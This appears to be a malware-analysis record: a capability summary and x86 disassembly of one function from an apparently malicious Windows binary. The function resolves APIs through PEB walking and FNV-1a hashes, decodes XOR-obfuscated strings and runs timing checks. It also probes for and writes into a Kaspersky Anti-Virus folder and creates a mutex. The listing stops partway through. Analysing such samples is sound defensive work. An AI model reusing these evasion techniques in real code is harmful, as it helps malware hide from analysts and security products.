Function at 0x458dc0
Capabilities:
Access peb ldr_data
Check mutex on windows
Check os version
Contain obfuscated stackstrings
Create directory
Create thread
Delete file
Encode data using base64
Encode data using xor
Get common file path
Get file attributes
Get number of processors
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x501cc6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x700
push esi
push edi
mov dword [ebp - 0x30], 0
push dword [0x539bcc]
call fcn.004d6ddc
add esp, 4
mov ecx, 0x539bbc
cmp dword [0x539bd0], 0x10
jb 0x458e1b
mov edx, dword [0x539bbc]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x458e10
sub ecx, esi
jmp 0x458e2e
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x458e20
sub ecx, edx
mov edx, 0x539bbc
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x290], 0
push edx
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 0x28c], 0
movups xmmword [ebp - 0x2a0], xmm0
call fcn.00402aa0
mov dword [ebp - 4], 0
mov ecx, 0x539bbc
call fcn.00402890
movups xmm0, xmmword [ebp - 0x2a0]
mov byte [ebp - 0x2a0], 0
movups xmmword [0x539bbc], xmm0
movq xmm0, qword [ebp - 0x290]
movq qword [0x539bcc], xmm0
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a0]
call fcn.00402890
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x458f37
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x458f37
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x20], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x458f2d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x458f10
cmp esi, 0x6dd8a845
je 0x458f3b
mov ecx, dword [ebp - 0x20]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x458ef1
mov eax, dword [eax]
jmp 0x458ec1
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x10], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x40], edi
mov edx, dword [edi + 0x3c]
mov esi, dword [edx + edi + 0x78]
mov eax, dword [edx + edi + 0x7c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esi
lea eax, [edi + esi]
mov dword [ebp - 0x20], eax
cmp eax, edi
je 0x458fdf
mov edi, dword [eax + 0x18]
test edi, edi
je 0x458fdf
mov eax, dword [eax + 0x20]
mov esi, dword [ecx + 0x18]
lea eax, [eax + edi*4]
add eax, esi
nop dword [eax]
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x14], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x458fd5
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x458fb8
cmp esi, 0x60993b9d
je 0x458fe3
mov eax, dword [ebp - 0x14]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x458fa0
mov ecx, dword [ecx]
jmp 0x458f66
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x40]
push 0x8000
push dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov edi, dword [0x539b44]
mov esi, dword [0x539b40]
push 0
push 2
push edi
push esi
call fcn.004f67b0
mov ecx, dword [0x539b48]
sub ecx, eax
mov eax, dword [0x539b4c]
mov dword [ebp - 0x20], ecx
sbb eax, edx
xor ecx, esi
mov dword [ebp - 0x40], eax
mov eax, edi
mov edx, dword [ebp - 0x40]
xor eax, edx
or ecx, eax
je 0x45905b
add esi, dword [ebp - 0x20]
mov dword [0x539b40], esi
adc edi, edx
mov dword [0x539b44], edi
test edi, edi
jl 0x459080
jg 0x459069
cmp esi, 0x186a0
jbe 0x459080
xorps xmm0, xmm0
movlpd qword [0x539b40], xmm0
mov edi, dword [0x539b44]
mov esi, dword [0x539b40]
push 0
push 2
push edi
push esi
call fcn.004f67b0
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x20], ecx
sbb eax, edx
mov dword [0x539b48], ecx
mov dword [ebp - 0x40], eax
xor ecx, esi
mov edx, dword [ebp - 0x40]
mov dword [0x539b4c], eax
mov eax, edi
xor eax, edx
or ecx, eax
je 0x4590c4
add esi, dword [ebp - 0x20]
mov dword [0x539b40], esi
adc edi, edx
mov dword [0x539b44], edi
test edi, edi
jl 0x4590dd
jg 0x4590d2
cmp esi, 0x186a0
jbe 0x4590dd
xorps xmm0, xmm0
movlpd qword [0x539b40], xmm0
push 0
call fcn.004df4fd
push eax
call fcn.004d6ddc
add esp, 8
call fcn.00408c80
mov eax, dword [0x539b40]
xor dword [0x539b48], eax
mov eax, dword [0x539b44]
xor dword [0x539b4c], eax
xor ecx, ecx
mov dword [ebp - 0xad], 0xbaaaadab
mov byte [ebp - 0xa9], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xad]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xad], al
inc ecx
cmp ecx, 4
jb 0x459120
lea edx, [ebp - 0xad]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x459144
sub edx, ecx
lea eax, [ebp - 0xad]
cmp dword [0x539c18], 0x10
mov ecx, 0x539c04
push edx
cmovae ecx, dword [0x539c04]
mov edx, dword [0x539c14]
push eax
push 0
call fcn.00465860
add esp, 0xc
test eax, eax
jne 0x459237
call fcn.00414e10
test al, al
je 0x459232
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45920f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45920f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x459205
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4591e8
cmp esi, 0xe80fd3a
je 0x459213
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4591d0
mov eax, dword [eax]
jmp 0x4591a0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
jmp 0x459237
call fcn.00414f50
call fcn.00408c80
mov esi, dword [0x539b40]
mov edi, dword [0x539b44]
xor dword [0x539b48], esi
xor dword [0x539b4c], edi
xor ecx, ecx
mov dword [ebp - 0xb2], 0xbaaaadab
mov byte [ebp - 0xae], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xb2]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xb2], al
inc ecx
cmp ecx, 4
jb 0x459270
lea edx, [ebp - 0xb2]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x459294
sub edx, ecx
lea eax, [ebp - 0xb2]
cmp dword [0x539bb8], 0x10
mov ecx, 0x539ba4
push edx
cmovae ecx, dword [0x539ba4]
mov edx, dword [0x539bb4]
push eax
push 0
call fcn.00465860
add esp, 0xc
test eax, eax
jne 0x4593bc
call fcn.00414f90
mov byte [ebp - 0x83], al
call fcn.00415020
mov byte [ebp - 0x8d], al
call fcn.004152a0
cmp byte [ebp - 0x83], 0
jne 0x45930e
cmp byte [ebp - 0x8d], 0
jne 0x45930e
test al, al
jne 0x45930e
call fcn.00414e50
test al, al
je 0x4593b0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45938f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45938f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x459385
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x459368
cmp esi, 0xe80fd3a
je 0x459393
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x459350
mov eax, dword [eax]
jmp 0x459320
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, dword [0x539b40]
mov edi, dword [0x539b44]
mov dword [ebp - 0xb7], 0xbaaaadab
xor ecx, ecx
mov byte [ebp - 0xb3], 0
nop
movzx eax, byte [ebp + ecx - 0xb7]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xb7], al
inc ecx
cmp ecx, 4
jb 0x4593d0
lea edx, [ebp - 0xb7]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4593f4
sub edx, ecx
lea eax, [ebp - 0xb7]
cmp dword [0x539ca8], 0x10
mov ecx, 0x539c94
push edx
cmovae ecx, dword [0x539c94]
mov edx, dword [0x539ca4]
push eax
push 0
call fcn.00465860
add esp, 0xc
test eax, eax
jne 0x459440
lea ecx, [eax + 1]
call fcn.00415450
mov edi, dword [0x539b44]
mov esi, dword [0x539b40]
mov dword [ebp - 0xbc], 0xbaaaadab
xor ecx, ecx
mov byte [ebp - 0xb8], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xbc]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xbc], al
inc ecx
cmp ecx, 4
jb 0x459460
lea edx, [ebp - 0xbc]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x459484
sub edx, ecx
lea eax, [ebp - 0xbc]
cmp dword [0x539c90], 0x10
mov ecx, 0x539c7c
push edx
cmovae ecx, dword [0x539c7c]
mov edx, dword [0x539c8c]
push eax
push 0
call fcn.00465860
add esp, 0xc
test eax, eax
jne 0x4594cd
call fcn.00417fa0
mov edi, dword [0x539b44]
mov esi, dword [0x539b40]
push 0
push 2
push edi
push esi
call fcn.004f67b0
mov ecx, dword [0x539b48]
sub ecx, eax
mov eax, dword [0x539b4c]
mov dword [ebp - 0x14], ecx
sbb eax, edx
mov dword [0x539b48], ecx
mov dword [ebp - 0x10], eax
xor ecx, esi
mov edx, dword [ebp - 0x10]
mov dword [0x539b4c], eax
mov eax, edi
xor eax, edx
or ecx, eax
je 0x459516
add esi, dword [ebp - 0x14]
mov dword [0x539b40], esi
adc edi, edx
mov dword [0x539b44], edi
test edi, edi
jl 0x45952f
jg 0x459524
cmp esi, 0x186a0
jbe 0x45952f
xorps xmm0, xmm0
movlpd qword [0x539b40], xmm0
mov dword [ebp - 0x139], 0xb7b1b6a8
xor ecx, ecx
mov dword [ebp - 0x135], 0xf1afabab
mov dword [ebp - 0x131], 0xb3b3bb
nop
movzx eax, byte [ebp + ecx - 0x139]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x139], al
inc ecx
cmp ecx, 0xb
jb 0x459550
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4595e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4595e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4595dd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4595c0
cmp esi, 0x53b2070f
je 0x4595eb
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4595a7
mov eax, dword [eax]
jmp 0x459577
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x139]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x459623
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov dword [ebp - 0x145], 0x96919688
xor ecx, ecx
mov dword [ebp - 0x141], 0xf18b9a91
mov dword [ebp - 0x13d], 0x93939b
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x145]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x145], al
inc ecx
cmp ecx, 0xb
jb 0x459650
lea eax, [ebp - 0x145]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.0047cfb0
call fcn.004bbe10
push 0
push 0
push 0
push 0x41ca80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x539b3c], 0xffffffff
jne 0x45975d
nop dword [eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x45972f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45972f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x459725
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x459708
cmp esi, 0x2fa62ca8
je 0x459733
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4596f0
mov eax, dword [eax]
jmp 0x4596c0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x539b3c], 0xffffffff
je 0x4596b0
mov ecx, 0x104
lea eax, [ebp - 0x70c]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x459770
lea eax, [ebp - 0x70c]
push eax
push 0xfa
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00408c80
mov eax, dword [0x539b40]
lea ecx, [ebp - 0x39c]
xor dword [0x539b48], eax
mov edx, 0xc
mov eax, dword [0x539b44]
xor dword [0x539b4c], eax
call fcn.0040bfe0
mov dword [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0xa4], 0xafb2baab
mov dword [ebp - 0xa0], 0x8c929c
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xa4]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 7
jb 0x4597e0
xorps xmm0, xmm0
mov dword [ebp - 0x3a4], 0
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x3a0], 0
movups xmmword [ebp - 0x3b4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459822
sub ecx, edx
lea eax, [ebp - 0xa4]
push ecx
push eax
lea ecx, [ebp - 0x3b4]
call fcn.00402aa0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70c]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459850
sub ecx, edx
lea eax, [ebp - 0x70c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x3b4]
call fcn.00469030
mov dword [ebp - 0x374], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x384], xmm0
mov dword [ebp - 0x370], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x30], 8
movups xmmword [ebp - 0x384], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x374], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 4
lea eax, [ebp - 0x39c]
cmp dword [ebp - 0x388], 0x10
lea ecx, [ebp - 0x384]
push dword [ebp - 0x38c]
cmovae eax, dword [ebp - 0x39c]
push eax
call fcn.004623f0
mov dword [ebp - 0x2a8], 0
mov ecx, 0x539b8c
mov dword [ebp - 0x2a4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2b8], xmm0
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2a8], xmm0
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov dword [ebp - 0x30], 9
call fcn.00402890
movups xmm0, xmmword [ebp - 0x170]
mov esi, 9
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
movups xmmword [0x539b8c], xmm0
mov byte [ebp - 0x2b8], 0
movq xmm0, qword [ebp - 0x1c]
mov dword [ebp - 0x30], esi
and esi, 0xfffffffe
movq qword [0x539b9c], xmm0
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 3
and esi, 0xfffffff7
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x384]
call fcn.00402890
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3b4]
call fcn.00402890
mov dword [ebp - 0x9c], 0xafb2baab
xor ecx, ecx
mov dword [ebp - 0x98], 0x8c899e
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x9c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x9c], al
inc ecx
cmp ecx, 7
jb 0x4599e0
xorps xmm0, xmm0
mov dword [ebp - 0x2c0], 0
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x2bc], 0
movups xmmword [ebp - 0x2d0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459a22
sub ecx, edx
lea eax, [ebp - 0x9c]
push ecx
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00402aa0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x70c]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x459a50
sub ecx, edx
lea eax, [ebp - 0x70c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2d0]
call fcn.00469030
mov dword [ebp - 0x260], 0
lea edx, [ebp - 0x270]
mov dword [ebp - 0x25c], 0
lea ecx, [ebp - 0x188]
xorps xmm0, xmm0
or esi, 2
movups xmmword [ebp - 0x270], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x270], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x260], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x39c]
push eax
mov dword [ebp - 0x30], esi
call fcn.004643a0
add esp, 4
mov byte [ebp - 4], 7
and esi, 0xfffffffd
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0x10
jb 0x459b1c
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459b12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9f0
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0xf
mov byte [ebp - 0x270], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x2bc]
cmp ecx, 0x10
jb 0x459b75
mov edx, dword [ebp - 0x2d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459b6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9f0
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [0x539ba0], 0x10
mov ecx, 0x539b8c
mov dword [ebp - 0x2c0], 0
cmovae ecx, dword [0x539b8c]
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
call fcn.0040b940
test al, al
je 0x459bba
push ecx
mov ecx, 0x539b8c
call fcn.0040b990
add esp, 4
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
cmovae ecx, dword [ebp - 0x188]
call fcn.0040b940
test al, al
je 0x459be6
push ecx
lea ecx, [ebp - 0x188]
call fcn.0040b990
add esp, 4
cmp dword [0x539ba0], 0x10
mov eax, 0x539b8c
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [0x539b8c]
push 0
push eax
call esi
test eax, eax
jne 0x459c1a
mov ecx, 0x539b8c
call fcn.00416580
test al, al
je 0x45c7ea
cmp dword [ebp - 0x174], 0x10
lea eax, [ebp - 0x188]
push 0
cmovae eax, dword [ebp - 0x188]
push eax
call esi
test eax, eax
jne 0x459caf
mov esi, dword [0x539b44]
mov edi, dword [0x539b40]
push eax
push 2
push esi
push edi
call fcn.004f67b0
mov ecx, dword [0x539b48]
sub ecx, eax
mov eax, dword [0x539b4c]
mov dword [ebp - 0x14], ecx
sbb eax, edx
mov dword [0x539b48], ecx
mov dword [ebp - 0x10], eax
xor ecx, edi
mov edx, dword [ebp - 0x10]
mov dword [0x539b4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x459c8b
add edi, dword [ebp - 0x14]
mov dword [0x539b40], edi
adc esi, edx
mov dword [0x539b44], esi
test esi, esi
jl 0x459ca4
jg 0x459c99
cmp edi, 0x186a0
jbe 0x459ca4
xorps xmm0, xmm0
movlpd qword [0x539b40], xmm0
lea ecx, [ebp - 0x188]
call fcn.00416580
cmp dword [ebp - 0x174], 0x10
lea eax, [ebp - 0x188]
cmovae eax, dword [ebp - 0x188]
mov dword [ebp - 0x40], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x459d47
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x459d47
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x10], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x459d3d
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x459d20
cmp esi, 0x7a5b9fa2
je 0x459d4b
mov ecx, dword [ebp - 0x10]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x459d02
mov eax, dword [eax]
jmp 0x459cd2
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [ebp - 0x174], 0x10
lea eax, [ebp - 0x188]
push dword [ebp - 0x178]
cmovae eax, dword [ebp - 0x188]
mov ecx, 0x539c1c
push eax
call fcn.0045fba0
push str.C:Program_FilesKaspersky_LabKaspersky_Anti_Virus
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xfffffee7
jne 0x459e95
push 0x33
xorps xmm0, xmm0
mov dword [ebp - 0x1e8], 0
push str.C:Program_FilesKaspersky_LabKaspersky_Anti_Virus
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x1e4], 0
movups xmmword [ebp - 0x1f8], xmm0
call fcn.00402aa0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1f8]
push 0xb
push str.config.xml
call fcn.004623f0
cmp dword [ebp - 0x1e4], 0x10
lea eax, [ebp - 0x1f8]
push 0x5219ac
cmovae eax, dword [ebp - 0x1f8]
push eax
call fcn.004d7060
mov esi, eax
add esp, 8
test esi, esi
je 0x459e3c
push str._config__n
push esi
call fcn.00402d70
push str._______Your_config_file_____n
push esi
call fcn.00402d70
push str.__config__n
push esi
call fcn.00402d70
push esi
call fcn.004da8ee
add esp, 0x1c
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1e4]
cmp ecx, 0x10
jb 0x459e7a
mov edx, dword [ebp - 0x1f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459e70
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c9f5
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0xf
mov byte [ebp - 0x1f8], 0
call fcn.00416840
test al, al
je 0x45a019
mov dword [ebp - 0x56], 0xadbeafac
xor ecx, ecx
mov dword [ebp - 0x52], 0xbbb0b2b4
mov byte [ebp - 0x4e], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x56]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x56], al
inc ecx
cmp ecx, 8
jb 0x459ec0
push 0x539bbc
lea edx, [ebp - 0x56]
lea ecx, [ebp - 0x3cc]
call fcn.00464270
add esp, 4
mov byte [ebp - 4], 0xb
cmp dword [eax + 0x14], 0x10
jb 0x459ef7
mov eax, dword [eax]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x3cc]
call fcn.00402890
